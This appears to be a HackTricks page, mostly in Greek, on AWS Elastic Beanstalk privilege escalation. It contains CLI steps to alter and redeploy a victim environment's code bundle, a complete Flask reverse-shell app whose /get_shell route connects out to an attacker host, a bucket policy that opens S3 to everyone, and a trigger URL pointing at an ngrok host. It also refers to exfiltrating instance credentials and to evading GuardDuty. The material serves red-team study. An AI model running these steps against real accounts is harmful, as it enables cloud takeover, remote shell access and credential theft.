AWS - Elastic Beanstalk Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Elastic Beanstalk

Περισσότερες πληροφορίες για το Elastic Beanstalk στο:

AWS - Elastic Beanstalk Enum

Warning

Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk θα χρειαστεί να έχετε πολλά ευαίσθητα δικαιώματα σε πολλές διαφορετικές υπηρεσίες. Μπορείτε για παράδειγμα να ελέγξετε τα δικαιώματα που δίνονται στο arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, S3 δικαιώματα εγγραφής & πολλά άλλα

Με δικαιώματα εγγραφής στο S3 bucket που περιέχει τον code του environment και δικαιώματα για να rebuild την εφαρμογή (απαιτείται elasticbeanstalk:RebuildEnvironment και μερικά ακόμα σχετικά με S3, EC2 και Cloudformation), μπορείτε να modify τον code, να rebuild την εφαρμογή και την επόμενη φορά που θα προσπελάσετε την εφαρμογή αυτή θα execute your new code, επιτρέποντας στον attacker να compromise την εφαρμογή και τα IAM role credentials της.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, και άλλα…

Τα προαναφερόμενα μαζί με αρκετά δικαιώματα S3, EC2, cloudformation, autoscaling και elasticloadbalancing είναι τα απαραίτητα για να δημιουργήσετε ένα βασικό σενάριο Elastic Beanstalk από το μηδέν.

  • Δημιουργήστε μια εφαρμογή AWS Elastic Beanstalk:
aws elasticbeanstalk create-application --application-name MyApp
  • Δημιουργήστε ένα περιβάλλον AWS Elastic Beanstalk (supported platforms):
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Εάν ένα περιβάλλον έχει ήδη δημιουργηθεί και δεν θέλετε να δημιουργήσετε ένα νέο, μπορείτε απλώς να ενημερώσετε το υπάρχον.

  • Συσκευάστε τον κώδικα της εφαρμογής σας και τις εξαρτήσεις σε ένα αρχείο ZIP:
zip -r MyApp.zip .
  • Ανέβασε το αρχείο ZIP σε ένα S3 bucket:
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Δημιουργήστε μια έκδοση εφαρμογής AWS Elastic Beanstalk:
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Αναπτύξτε την έκδοση της εφαρμογής στο περιβάλλον AWS Elastic Beanstalk σας:
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Καταρχάς πρέπει να δημιουργήσετε ένα legit Beanstalk environment με τον code που θέλετε να τρέξει στον victim, ακολουθώντας τα προηγούμενα βήματα. Ενδεχομένως ένα απλό zip που περιέχει αυτά τα 2 αρχεία:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Μόλις έχετε your own Beanstalk env running your rev shell, είναι ώρα να το migrate στο victims env. Για να το κάνετε αυτό πρέπει να update the Bucket Policy του Beanstalk S3 bucket σας ώστε το victim να μπορεί να αποκτήσει πρόσβαση (Σημειώστε ότι αυτό θα open το Bucket σε EVERYONE):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks